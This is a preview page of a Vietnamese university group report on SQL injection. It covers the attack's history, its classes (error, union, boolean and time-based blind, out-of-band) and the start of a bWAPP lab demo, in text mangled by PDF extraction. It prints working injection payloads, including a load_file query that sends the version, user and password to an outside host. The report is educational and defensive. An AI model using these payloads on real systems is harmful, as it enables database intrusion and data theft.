Tải bản đầy đủ (.pdf) (41 trang)

Tấn Công Sql Injection.pdf

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (763.17 KB, 41 trang )

<span class="text_page_counter">Trang 1</span><div class="page_container" data-page="1">

<b>TRƯNG CÔNG NGH THÔNG TIN V TRUYN THÔNG </b>

<b>BI TP LN NHP MÔN AN TON THƠNG TIN </b>

<b>Đ ti: Tấn cơng SQL injection </b>

</div><span class="text_page_counter">Trang 2</span><div class="page_container" data-page="2">

<small>P a g e 2 | 48STT H v tên MSSV Email Công vi c T l  % </small>

<small>cơng vic lm 1 Nguyn Đình Hiếu 20215049 hieu.nd215049@s</small>

<small>• Phân lo i nhóm t n ạấcông và demo th ửnghim </small>

<small>33% </small>

<small>2 Trn Mạnh Ton 20215149 </small>

<small>• Các phương pháp phịng tránh </small>

<small>33% </small>

<small>3 Hong Đức Gia Hưng </small>

<small>20215062 hung.hdg@</small>

<small>• Gii thi u và l ch s ịửhình thành </small>

<small>33% </small>

</div><span class="text_page_counter">Trang 3</span><div class="page_container" data-page="3">

<small>P a g e 3 | 48</small>

<b>Mở đầu </b>

Một trong những rủi ro đ i v i m t công ty vộ ận hành trang web công cộng c cơ sở dữ liu Ngôn ng truy v n c u trúc (SQL) là k t n công khai thác l ữ ấ ấ ẻ ấ ỗhổng SQL injection. K t n công có th khiẻ ấ ể ến cơ sở ữ liu SQL th c hi n các d ự hnh động mà nhà phát tri n kể hông c ý định như tiết l , sộ ửa đổi ho c xóa d ặ ữ liu nhạy cm. Điều này có th làm m t tính b o m t, tính tồn v n và tính s n có cể ấ  ậ ẹ ẵ ủa thơng tin trong cơ sở dữ liu của cơng ty và có thể dn đến chi phí nghiêm trng lên t i 196.000 USD cho m i cu c t n công SQL Injection thành cơng (Trích NTT  ỗ ộ ấGroup, 2014). Trong bài u lu n này, nhóm tiể ậ em ậ t p trung tho lu n v l ch s ậ ề ị ửcủa l h ng SQL injection, t p trung vào: ỗ ổ ậ

1. Khái ni m và l ch s phát tri n c ị ử ể ủa SQL Injection. 2. Phân lo i các nhóm t n công và th nghiạ ấ ử m.

3. Các kĩ thuật để phòng tránh và b o v h    thng kh i các cu c tỏ ộ ấn công.

Lỗ hổng SQL injection đ được biết đến hơn mười by năm v các bin pháp đi ph tương đi đơn gin so v i các bi n pháp đi phó vi các mi đe da khác như phn mềm độc hại và vi rút. Vic tập trung vào lập trình chú trng đến bo mật có thể giúp ngăn chặn thành công một cu c t n công SQL injection và tránh ộ ấmất l i th c nh tranh, b ợ ế ạ ị phạt theo quy định và mất uy tín đi v i các khách hàng. 

Do kh năng sử ụng cơ sở d và các ngơn ngữ truy vấn cịn hạn chế cho nên mặc dù nhm đ c gắng hoàn thành tt nhất nhim v c a mụ ủ ình nhưng không tránh khỏi cn c nhiều thi t st. Nhm em r t mong nhế ấ ận được nh ng nh n xét ữ ậthẳng th n, chi tiắ ết đến từthy để tiếp t c hoàn thiụ n hơn nữa. Cu i cùng, nh m xin được gửi lời cm ơn đế<b>n thy PGS.TS. Nguy n Linh Giang</b> đ hưng dn nhm trong su t quá trình ho n thi n B   i t p l n. Xin chân th nh cậ   m ơn thy.

</div><span class="text_page_counter">Trang 5</span><div class="page_container" data-page="5">

<small>P a g e 5 | 48</small>

<b>Mục l c ụ</b>

<b>Chương 1: Sơ lược v SQL injection ... 6</b>

1.1 Gii thiu:... 6

2.2.3 Out- -band SQL injection of ... 17

2.3 Th nghi m SQL injection trên bWAPP ử  ... 19

<b>Chương 3: Các phương pháp phòng chống SQL injection ... 33</b>

</div><span class="text_page_counter">Trang 6</span><div class="page_container" data-page="6">

SQL injection đề ập đế c n một loại tấn công chèn m trong đ dữ liu do người dùng cung cấp được đưa vo một truy v n SQL theo cách mà m t ph n dấ ộ  ữ liu đu vào của người dùng được coi là mã SQL. B ng cách t n d ng các l h ng ằ ậ ụ ỗ ổnày, k t n cơng có th g i các l nh SQL tr c tiẻ ấ ể ử  ự ếp đến cơ sở d u. Các cu c tữ li ộ ấn công này là mi đe da nghiêm trng đ  ấ ỳ ứi v i b t k ng d ng Web nào nh n d ụ ậ ữliu đu vào từ người dùng và kết hợp nó vào các truy vấn SQL ti cơ sở dữ liu cơ bn. Hu hết các ứng dụng Web được sử dụng trên Internet hoặc trong các h thng doanh nghip đều hoạt động theo cách ny v do đ c thể  bị t n công d ấbởi SQL injection. Nguyên nhân của các lỗ hổng SQL injection tương đi đơn gin và d  hiểu: không đủ xác thực đu vào của người dùng. Để gii quy t vế ấn đề này, các nhà phát triển đ đề xuất m t lo t các nguyên tộ ạ ắc m ha để thúc đẩy các thực hành mã hóa phịng thủ, chẳng hạn như m ha đu vào của người dùng và xác th c. Mự ột ứng d ng ch t ch và có hụ ặ ẽ  thng c a các k thu t này là m t giủ ỹ ậ ộ i

</div><span class="text_page_counter">Trang 7</span><div class="page_container" data-page="7">

<small>P a g e 7 | 48</small>pháp hi u qu   để ngăn chặn các l h ng SQL injection. Tuy nhiên, trong th c tỗ ổ ự ế, vic áp d ng các k thuụ ỹ ật như vậy là dựa trên con người nên do đ d xy ra sai st. Hơn nữa, vi c s ửa các cơ sở mã k ế thừa có th ể chứa các l h ng SQL injection ỗ ổsẽ là m t nhi m v cộ  ụ ực k t n nhi u công s c. M c dù gỳ  ề ứ ặ n đây đ c rất nhi u s ề ựchú ý đến vấn đề ỗ ổ l h ng SQL injection, nhi u giề i pháp được đề xuất không gii quyết được tồn bộ phạm vi của vấn đề. Có nhiều loại SQLIAs và vô s biến thể trên các loại cơ bn này. Các nhà nghiên c u và các th c tứ ự ập sinh thường không biết v vô s các k ề  ỹ thuật khác nhau có th ể được s dử ụng để thực hi n các SQLIAs. Do đ, hu h t các giế i pháp được đề xuất ch phát hi n hoỉ  ặc ngăn chặn m t phộ n nhỏ các SQLIAs có th x y ra. ể 

<b>1.2 Lịch s hình thành ử</b>

SQL injection được đăng ln đu tiên vào giáng sinh năm 1998 trên bài báo c tên “NT Web Technology Vulnerabilities” cho Phrack 54 của Forest Puppy(rfp). Và tiếp theo sau đ l hng loạt các bài báo v k thu t t n công này: ề ỹ ậ ấNgy 4 tháng 2 năm 1999 – Allaire phát hành – “Multiple SQL Statements in Dynamic Queries”.

3 tháng sau rfp và Matthew Astley phát hành cu n sách v–  i tiêu đề “NT ODBC Remote Compromise”.

Ngy 3 tháng 2 năm 2000 - “How I hacked Packetstorm – A look at hacking www threads via SQL” – ở b i rfp.(

Tháng 9 năm 2000 – “Application Assessments on IIS” – Blackhat David –Litchfield.

Ngy 23 tháng 10 năm 2000 – Câu hỏi thường gặp về SQL Injection Chip –Andrews l– n đu tiên s d ng công khai thu t ngử ụ ậ ữ “SQL Injection” trong một bài báo.

</div><span class="text_page_counter">Trang 8</span><div class="page_container" data-page="8">

<small>P a g e 8 | 48</small>Tháng 4 năm 2001 – “Remote Web Application Disassembly with ODBC Error Messages”

Tháng 1 năm 2002 – Chris Anley phát hnh “Advanced SQL Injection”. Hai ngy trưc khi Kevin Spett công b bài báo c a mìn ủ h

Tháng 6 năm 2002 – “(more) Advanced SQL Injection” – Chris Anley Tháng 8 năm 2002 – Cesar Cerrudo – “Manipulating SQL Server Using SQL Injection” – Datathief s d ng chử ụ ức năng openrowset.

Đu tháng 9 năm 2003 - Ofer Maor và Amichai Shulman phát hành bài báo “Blindfolded SQL injection”

Cui tháng 9 năm 2003 – Sanctum Inc. ra m t – ắ “Blind SQL Injection” Blackhat 2004 0x90.org phát hành SqueaL - Absinthe –

</div><span class="text_page_counter">Trang 9</span><div class="page_container" data-page="9">

Các truy v n tấ i cơ sở d u hi m khi tữ li ế ĩnh – thông tin mà ứng d ng c n lụ  ấy từ cơ sở d ữ liu hoặc lưu trữ trong đ thường ph ụ thuộc vào d ữ liu do người dùng cung cấp. Đu vào của người dùng thường dở ạng văn bn đơn gin, ging như chính cú pháp SQL, vì v y các nhà phát triậ ển thường t o các truy v n b ng cách ạ ấ ằghép n i tr c ti p d ự ế ữ liu do người dùng cung c p v i các câu l nh SQL. Ví dấ   ụ:

<i>SELECT first_name,last_name FROM users WHERE user_id = 'id_supplied_by_the_user' tr về h và tên c</i>ủa người dùng dựa trên ID do người dùng cung c p ấ

<i><small>Hình nh 1: Mơ hình t n cơng SQL injection truy n th ng ảấềố</small></i>

Nếu khơng có xác thực đu vào, tin tặc độc h i có th s d ng các form nhạ ể ử ụ ập dữ liu c a trang web hoủ ặc HTTP requests để cung c p payload có ch a câu l nh ấ ứ SQL. Nếu ứng dụng ch ỉđơn gin ghép d ữ liu người dùng đ bằng các lnh tĩnh, thì k tẻ ấn cơng thường có th ể thay đổi hoàn toàn cú pháp và cách th c hoứ ạt động của truy vấn ban đu. H có th s d ng các ký t  ể ử ụ ự đặc bit như dấu nháy đơn hoặc

</div><span class="text_page_counter">Trang 10</span><div class="page_container" data-page="10">

<small>P a g e 10 | 48</small>dấu ch m phấ ẩy để thêm l nh AND/OR b qua l ỏ nh tĩnh. M độc th m chí có th ậ ểcho phép k tẻ ấn công th c hi n các lự  nh như DROP (xa bng cơ sở d u hoữ li ặc thậm chí toàn b ộ cơ sở dữ liu). Điều ny được gi là SQL injection.

SQL injection đ tác động đáng kê lên h ng cơ sở th dữ liu nhắm vào các mục tiêu v tính b o m t, tính tồn về  ậ ẹn và tính s n có c a dẵ ủ ữ liu (CIA). SQL injection có th x y ra trong b t k ể  ấ ỳ phn m m nào giao ti p về ế i cơ sở d ữ liu SQL. Chúng phổ biến nh t trong b o mấ  ật ứng d ng web vì các ng dụ ứ ụng web thường sử d ng các máy ch SQL v ụ ủ ề phía back-end. Tuy nhiên, chúng cũng c thể xy ra trong các loại ứng d ng và h ụ  thng khác.

Để hiểu hơn về ấn đề v t n công SQL injection, chúng ta cùng tìm hi u mấ ể ột ví d ụ kinh điển v ề n như sau: Câu truy vấn thông thường của cơ sở dữ liu là:

Câu lnh SELECT đơn gin này tr v t t c d  ề ấ  ữ liu người dùng có liên quan nếu có b n ghi ID và m t kh u kh ậ ẩ p trong cơ sở d ữ liu. Điều ny c nghĩa l nếu người dùng cung c p ID và mật kh u h p l, thì truy v n có th tr về h và tên ấ ẩ ợ ấ ể của người dùng (tùy thuộc vo lược đồ của bng người dùng). Nếu người dùng cung c p ID và/ho c m t kh u không h p l , truy v n sấ ặ ậ ẩ ợ  ấ ẽ tr ề ộ ậ v m t t p dữ liu trng. L p trình viên có th s d ng truy vậ ể ử ụ ấn đơn gin ny để kiểm tra xem người dùng có th ể đăng nhập hay không.

Tuy nhiên n u tin t c nh p vào giá tr ế ặ ậ ị id_supplied_by_the_user như sau SELECT FROM * users WHERE user_id =

'id_supplied_by_the_user' ANDpassword = 'password_supplied_by_the_user'

</div><span class="text_page_counter">Trang 11</span><div class="page_container" data-page="11">

<small>admin'--P a g e 11 | 48</small> Khi đ, chuỗi truy v n tr ấ ở thnh như sau:

Dấu nháy đơn kết thúc trường user_id và dấu “--” đ khiến cho tồn b ộ

phn cịn l i c a câu truy vạ ủ ấn(phn ki m tra m t khể ậ ẩu) được coi là comment và b ịbỏ qua. Vì th ng dế ứ ụng đ thực thi câu truy v n sau thay vì truy vấ ấn ban đu:

N u câu truy vế ấn được th c thi thành cơng thì tin tự ặc đ hon thnh tấn công SQL injection. Tin t c hồn tồn có thặ ể đăng nhập vào tài kho n admin mà không c n bi t m t kh ế ậ ẩu.

Trên đây chỉ là một ví dụ nhỏ cho ki u tể ấn công đơn gin v đạt hi u qu  cao ny. Sau đây, chúng em xin được trình bày về phân nhóm tấn cơng SQL injection

<b>2.2 Các nhóm t n công SQL injection ấ</b>

<b>2.2.1 In-band SQL injection </b>

In-band SQL injection là m t lo i SQL injection mà k t n công nhộ ạ ẻ ấ ận được kết qu dưi d ng ph n h i tr c ti p b ng cách s d ng cùng mạ  ồ ự ế ằ ử ụ ột kênh liên lạc. Ví d : n u k t n công th c hi n cu c t n công theo cách th công b ng trình ụ ế ẻ ấ ự  ộ ấ ủ ằduyt web, kết qu c ủa cu c t n công s ộ ấ ẽ được hiển th trong cùng m t trình duyị ộ t web. In-band SQL injection cn được g i là SQL injection c ổ điển. Có hai biến thể phụ ủa phương pháp ny: c

2.2.1.1 Error-based SQL injection

Error-based SQL injection là m t ki u con c a in-band SQL injection trong ộ ể ủđ kết qu v cho k t n công là m tr ề ẻ ấ ột chu i lỗ ỗi cơ sở d ữ liu. Tr l i mạ ột chuỗi lỗi cho k t n cơng có v vô h i. Tuy nhiên, tùy thu c vào c u trúc cẻ ấ ẻ ạ ộ ấ ủa ứng d ng ụvà loại cơ sở ữ li d u, k t n cơng có th s d ng chu i l i nhẻ ấ ể ử ụ ỗ ỗ ận được để:

SELECT FROM * users WHERE user_id = 'admin'--' ANDpassword = ''

</div><span class="text_page_counter">Trang 12</span><div class="page_container" data-page="12">

<small>P a g e 12 | 48</small>- Nhận thông tin về loại và phiên b n c ủa cơ sở ữ liu để ử ụ d s d ng các k ỹthuật tấn công khác nhau cho một loại/phiên bn cơ sở dữ liu cụ th . ể

- Nhận thông tin v c u trúc cề ấ ủa cơ sở ữ liu để thử các ln tấn công c d ụ thể hơn sau khi biết cấu trúc.

- L y d ấ ữ liu ra khỏi cơ sở dữ liu. Mặc dù quá trình ny di hơn v phức tạp hơn nhiều so vi vic hiển thị trực tiếp kết qu của một truy vấn, nhưng kẻ tấn cơng có th thao túng các lể ỗi để trích xuất d u khữ li ỏi cơ sở ữ liu. d

Để hiểu rõ hơn, chúng ta cùng đi vo một ví dụ đơn gin về t n cơng error-ấbased SQL injection: Cho câu truy vấn SQL như sau:

Gi s tin t c cung cử ặ ấp payload cho <i>current_user</i> là:

Khi đ câu truy vấn trở thành:

Dấu ‘’ ở cui c u truy vấ ấn đ vơ tình khiến cơ sở dữ liu tr v l i. N u trang  ề ỗ ếweb được cấu hình để hin th lị ỗi trên chính trang web đ, kẻ t n cơng có th ấ ể thấy các thông báo như dưi đây:

SELECT FROM * users WHERE user_id = ‘current_user’

1’

SELECT FROM * users WHERE user_id = '1''

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' at line 1

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/query.php on line 37

</div><span class="text_page_counter">Trang 13</span><div class="page_container" data-page="13">

<small>P a g e 13 | 48</small>Từ thông báo trên, k t n cơng có th ẻ ấ ể thấy rằng cơ sở d ữ liu trang web đang dùng là MySQL và s t p trung vào nh ng lo i tẽ ậ ữ ạ ấn công đặc bi t dành cho MySQL. 

2.2.1.2 Union-based SQL injection

Loại t n công ti p theo n m trong nhóm In-band SQL injection là ấ ế ằ <i>based SQL injection. Đặc trưng của loại này là tin t c s s d</i>ặ ẽ ử ụng tốn t UNION ửSQL để tấn cơng. Tốn tử UNION có vai trị k t h p k t qu c a nhi u câu lế ợ ế  ủ ề nh SELECT để lấy d u t nhi u bữ li ừ ề ng như mộ ết k t qu duy nh t. C ấ ấu trúc cơ bn của toán t ử UNION như sau:

Union-Tin t c s l i dặ ẽ ợ ụng đặc điểm k t h p k t qu tế ợ ế  ừ nhiều câu lnh SELECT đểcó th l y nh ng dể ấ ữ ữ liu mong mu n t ừ phía cơ sở ữ liu. Trưc đ, tin tặc dthường s d ng Error-ử ụ based để tìm ra c u trúc cấ ủa cơ sở ữ li ừ đ tấ d u t n công Union-based một cách nhanh v chính xác hơn.

Ta cùng xem xét ví d ụ đơn gin sau v Union-ề based SQL injection: Cho đoạn truy v n sau: ấ

Các tin t c cung c p payload cho ặ ấ <i>current_user như sau: </i>

Khi đ câu truy vấn trở thành:

SELECT

column1 [, column2

]

FROM

table1 [, table2

] [WHERE

condition]

UNION

SELECTcolumn1 [, column2 ]

FROMtable1 [, table2 ][WHEREcondition]

SELECT FROM * users WHERE user_id = 'current_user'

-1' UNION SELECT version(),current_user()--'

SELECT * FROM users WHERE user_id = ' 1' - UNION SELECT version(),current_user()--'

</div><span class="text_page_counter">Trang 14</span><div class="page_container" data-page="14">

<small>P a g e 14 | 48</small>

<i>Các hàm version() và current_user() trong MySQL s </i>ẽ tr v phiên bề n cơ sở dữ liu và tên c a h ủ  điều hnh đang sử d ng. Và tin t c có th ụ ặ ể nhận thông tin như sau:

Tin t c ngay l p t c nh n ra phiên bặ ậ ứ ậ n cơ sở ữ li d u là MySQL 5.1.73 trên h điều hành Ubuntu 10.04.1 v cơ sở d ữ liu được s d ng bử ụ <i>ởi người dùng mysql. </i>

Union-based SQL injection là lo i SQL injection nguy hi m nh t vì nó cho ạ ể ấphép k t n công l y tr c ti p h u h t m i thông tin tẻ ấ ấ ự ế  ế  ừ cơ sở ữ li d u. Tuy nhiên để thực hi n chính xác ki u t n công này, tin t c c ể ấ ặ n đm b o s   lượng c t và kiộ ểu dữ liu ở m i câu lỗ nh SELECT l như nhau. Vì vậy trong th c t , tin tự ế ặc thường kết h p c Error-ợ  based để tìm hi u c u trúc cể ấ ủa cơ sở ữ liu, t d ừ đ thực thi Uninon-based m t cách nhanh và chính xác. ộ Ở phn th nghiử m, chúng em s ẽ thử nghim t n công k t h p gi a Error-based và Union-ấ ế ợ ữ based để chúng ta có th ể hiểu rõ hơn về ấn đề v này.

<b>2.2.2 Blind SQL injection </b>

<i>Blind SQL injection là m t lo</i>ộ ại SQL injection trong đ kẻ ấ t n công không nhận được phn hồi rõ ràng từ cơ sở dữ liu bị tấn công v thay vo đ sẽ tái tạo lại cấu trúc cơ sở ữ liu từng bưc bằng cách quan sát hành vi của máy chủ cơ dsở dữ liu và ng d ng. ứ ụ <i>Blind SQL injection cn đượ</i>c g i là  <i>inferential SQL injection (SQL injection suy lu n). </i>ậ

Vic th c hi n Blind SQL injection có th c n nhi u thự  ể  ề ời gian hơn vic thực hin In-band SQL injection, tuy nhiên chúng v n mang l i k t qu  ạ ế  tương tự. B ng ằvic quan sát hành vi của máy chủ cơ sở dữ liu và ng d ng, k t n cơng có th ứ ụ ẻ ấ ểlm được những điều sau:

- Kiểm tra xem có th ể thực hi n các ki u SQL injection khác không.  ể5.1.73 0ubuntu0.10.04.1-

mysql@localhost

</div><span class="text_page_counter">Trang 15</span><div class="page_container" data-page="15">

<small>P a g e 15 | 48</small>- Lấy thêm thông tin v cề ấu trúc cơ sở dữ liu

- Lấy d ữ liu ra khỏi cơ sở ữ liu. d

Có hai lo i t n công Blind SQL injection: ạ ấ <i>boolean-based và time-based. </i>

2.2.2.1 Boolean-based SQL injection

<i>Boolean-based Blind SQL injection là m t ki u con c a Blind SQL injection, </i>ộ ể ủtrong đ kẻ t n công quan sát hành vi c a máy ch ấ ủ ủ cơ sở d ữ liu và ứng d ng sau ụkhi kết hợp các truy v n h p pháp v i d ấ ợ  ữ liu độc h i b ng cách s d ng các toán ạ ằ ử ụtử boolean.

Chúng ta cùng xem xét ví d sau: Xét câu truy v n sau: ụ ấ

Trư<i>c tiên tin t c nhập vào m t d li u bất kì cho trường id ch ng hạn 32, </i>ặ ộ ữ  ẳ

<b>kết qu tr về trang web như sau: The product does not exist in our database! </b>

Tiếp theo tin tặc chèn payload SQL sau v đem kết qu  nhận được só sánh v i k ết qu khi nh p d ậ ữ liu bình thường.

Nếu kết qu <b> nhận được là The product exists in our database! thay vì The product does not exist in our database! thì tin t c hồn tồn có th k t lu n r ng </b>ặ ể ế ậ ằô d u nhữ li <i>ập cho trường id đ dính lỗi SQL injection. Để</i> chắc chắn hơn, tin tặc sửa payload như sau:

Nếu k t quế  tr về ging như khi tìm kiếm bình thường thì chắc chắn ơ tìm kiếm đ bị l i boolean-ỗ base SQL injection. Khi xác định được điều này, tin t c có ặthể k t h p v i mế ợ  ột s câu l nh c ủa cơ sở d ữ liu để ấy thêm thông tin như l tên lcơ sở dữ liu, s c t c a b ộ ủ ng, … Ví dụ để l y tên cấ ủa cơ sở d ữ liu, tin t c có th ặ ểlm như sau: Trưc tiên cn xác định độ dài tên bằng payload sau:

SELECT FROM * products WHERE id = product_id

32’ or 1=1 –'

32’ or 1=2 –'

boolean' or length((select database()))=1 ' –

</div><span class="text_page_counter">Trang 16</span><div class="page_container" data-page="16">

<small>P a g e 16 | 48</small>Chỉ cn thay đổi giá tr t ị ừ 1 đến khi nhận được k t qu là ế  <b>The product exists in our database! thì giá tr ịđ chính l độ dài của tên cơ sở dữ liu. Ti p theo khi </b>ếc độ dài r i, tin t c cồ ặ n xác định t ng ch cái cừ ữ ủa tên cơ sở dữ liu b ng payload ằsau:

Thay đổi giá tr theo b ng ch ị  ữ cái đến khi nhận được k t qu mong mu n thì ế  

chữ cái đ nằm trong tên cơ sở dữ liu. L p lặ ại payload trên kèm thay đổi đ i s hàm substring bằng đúng độ di tên cơ sở dữ liu tin t c d ặ  dng c được tồn b ộtên cn tìm. Trong th c t , tin tự ế ặc thường k t h p nh ng tool t ế ợ ữ ự động để quá trình khai thác hi u qu  v nhanh hơn. C thể ể đến như: SQLbit, SQLmap, kIntruder,…

2.2.2.2 Time-based blind SQL injection

<i>Time-based blind SQL injection là m t lo i c a nhóm blind SQL injection </i>ộ ạ ủtrong đ kẻ tấn công quan sát hành vi của cơ sở dữ liu và ứng dụng sau khi kết hợp các câu truy v n h p l vấ ợ  i các l nh SQL gây ra s  ự chậm tr v  ề thời gian.

Chúng ta cùng xem xét câu truy v n sau: ấ

Tin t c cung c p payload nhặ ấ ập vo như sau:

Khi đ câu truy vấn trở thành:

boolean' or substring((select database()),1,1)='a'—

SELECT FROM * products WHERE id = product_id

42; WAITFOR DELAY '0:0:10'

SELECT * FROM products WHERE id = 1; WAITFOR DELAY '0:0:10'

</div><span class="text_page_counter">Trang 17</span><div class="page_container" data-page="17">

<small>P a g e 17 | 48</small>Nếu cơ sở dữ liu là Microsoft SQL Server và ng d ng web d b t n công ứ ụ  ị ấtime-based blind SQL injections, k t n công s ẻ ấ ẽ thấy ứng d ng b ụ ị tr 10 giây. Khi biết được điều này, chúng ch cỉ n thay đổi payload m t chút là s lộ ẽ ấy được thông tin c n thi  ết:

Nếu tên c a bủ ng đu tiên của cơ sở ữ liu b d ắt đu b ng ch cái a thì phằ ữ n thừ 2 c a câu truy v n sẽ ủ ấ được th c thi, t c là ng d ng s bự ứ ứ ụ ẽ ị  đi 10 giây. Tin trtặc có th s dể ử ụng phương pháp ny nhiều ln để khám phá tên c a bủ ng đu tiên trong cấu trúc cơ sở dữ liu, sau đ c g ng l y thêm d u v c u trúc c a b ng ắ ấ ữ li ề ấ ủ này và cu i cùng là trích xu t d u t b ấ ữ li ừ ng đ.

<b>2.2.3 Out- -band SQL injection of</b>

<i>Out-of-band SQL injection (OOB SQLi) là m t lo i c</i>ộ ạ ủa SQL injection trong đ kẻ tấn công không nhận phn hồi từ ứng dụng b t n công trên cùng m t kênh ị ấ ộgiao tiếp m thay vo đ khiến ứng dụng g i d ử ữ liu đến một điểm cu i mà chúng kiểm soát.

42; IF(EXISTS(SELECT TOP 1 * FROM sysobjects

WHERE id=(SELECT TOP 1 id FROM (SELECT TOP 1 id FROM sysobjects ORDER BY id) AS subq

ORDER BY id DESC)

AND ascii(lower(substring(name, 1, 1))) = 'a')) WAITFOR DELAY '0:0:10'

</div><span class="text_page_counter">Trang 18</span><div class="page_container" data-page="18">

<small>P a g e 18 | 48</small>

<i><small>Hình nh 2ả: Sơ đồ ấ t n cơng OOB SQLi </small></i>

OOB SQLi ch ỉhoạt động nếu máy ch b t n cơng có các l nh kích ho t yêu ủ ị ấ  ạcu DNS hoặc HTTP. Tuy nhiên, các máy ch SQL r t ph ủ ấ ổ biến vấn đề này.

Theo tác gi Lee Chun How trong paper  <i>A Study of Out- -Band Structured ofQuery Language Injection . C t lõi c</i> ủa truy v n SQL là s d ng nh ng hàm có ấ ử ụ ữchức năng khởi t o các ạ <i>outbond request (thông thường là file_read ho c là remote </i>ặconnection function). H thng cơ sở ữ li d u kh i t o request gở ạ ửi đến máy ch ủlắng nghe nếu như đi kèm các lnh SQL là tên mi n cề ủa máy ch này(ủ <i>FQDN). Để </i>

gửi các request này c n function  <i>Fi c</i>ủa cơ sỏ ử liu để gửi các yêu cu. Công dthức xây d ng câu truy vự ấn được tác gi Lee Chun How xây d ựng như sau:

<i>OOB SQLi = Fi (SQL commands + FQND) </i>

Do trong ph m vi cạ ủa bài ti u lu n, chúng em xin trình bày ví d v ể ậ ụ ề kiểu tấn công ny đi vi MariaDB c a MySQL c a tác gi Lee Chun How: ủ ủ 

</div><span class="text_page_counter">Trang 19</span><div class="page_container" data-page="19">

<small>P a g e 19 | 48</small>Nếu máy chủ cơ sở ữ liu b d ắt đu b ng bi n toàn c c hằ ế ụ  thng tr ng 

<i>secure_file_priv, trường h p m</i>ợ ặc định cho máy ch MySQL 5.5.52 và MariaDB, ủkẻ t n cơng có th lấ ể c d <i>ữ liu v sau đ sử dụng hàm load_file để tạo yêu cu ti </i>

một tên miền, đưa dữ u đ l li c vào yêu cu đ.

<b>2.3 Th nghi m SQL injection trên bWAPP ửệ</b>

bWAPP là một ứng d ng web mã ngu n m và miụ ồ ở n phí, được c ý l p trình  ậkhơng an tồn. Nó giúp cho những người lm trong lĩnh vực b o m t, nhà phát  ậtriển và sinh viên khám phá và thực hnh ngăn chặn các l h ng b o m t trên web ỗ ổ  ậmột cách h p pháp. Tham khợ o cách ci đặt và cấu hình bWAPP trên b cơng c ộ ụXAMPP tại <i>a/p/huong-dan-cai-dat- -cau-hinh-bwapp- -thuc-vadehanh-pentest-djeZ1EMjZWz</i>

SELECT

load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.',

(SELECT+password),'.',example.com test.txt'))\\

</div><span class="text_page_counter">Trang 20</span><div class="page_container" data-page="20">

<small>P a g e 20 | 48</small>Trưc khi đi vo thử nghim, người đc cn chú ý m t s ộ  điều sau đây:- Không được thử trên b t c trang web khác. ấ ứ

- Chỉ được th ử những phương án dưi đây trên những ứng dụng được m ở đểthử nghim thâm nhập.

- Nếu người đc th c hi n ki m tra thâm nh p trên ng d ng mà không có ự  ể ậ ứ ụtuyên b b ằng văn b ừ chủ ở ữu ứn t s h ng d ng, có th sụ ể ẽ ph đi i m t vặ i các vấn đề pháp lý.

<b>Payload đầu tiên: Vi c nh p d</b> ậ ấu ‘ vo ô nhập dữ liu trên trang web đểkiểm tra xem ng d ng có d bị t n cơng SQL injection khơng. Nếu ô nh p d ứ ụ ấ ậ ữliu được xác định là d bị tấn cơng thì chúng ta cn lên kế hoạch cho các bưc khác để tấn công vào ô nh p này. ậ

<b>Bưc 1: Sau khi ci đặt thành công bWAPP, m </b>ở ứng d ng bWAPP trên trình ụduyt sử dụng URL <i>http://localhost:8080/bwapp/login.php</i> như hình dưi đây:

</div>

Tài liệu bạn tìm kiếm đã sẵn sàng tải về

Tải bản đầy đủ ngay
×